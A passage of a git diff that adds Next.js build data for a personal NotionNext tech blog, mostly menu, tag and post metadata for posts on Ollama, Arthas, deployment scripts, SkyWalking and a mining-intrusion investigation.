fa-home","date":{"start_date":"2022-05-18"},"type":"Page","slug":"/","title":"主页","status":"Published","category":"","publishDate":1652832000000,"publishDay":"May 18, 2022","lastEditedDate":"2024-01-18T17:40:34.961Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"7b6c5022-b0db-4dc3-a38e-47cefabe2caf","icon":"fas fa-search","date":{"start_date":"2021-07-02"},"type":"Menu","slug":"/search","tags":["文字"],"summary":"跳转到’/search’搜索页的菜单","title":"搜索","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.112Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"文字","color":"brown"}],"to":"/search","name":"搜索","password":""},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]},{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}],"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/archive.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/archive.json
new file mode 100644
index 000000000..56eec2ee0
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/archive.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 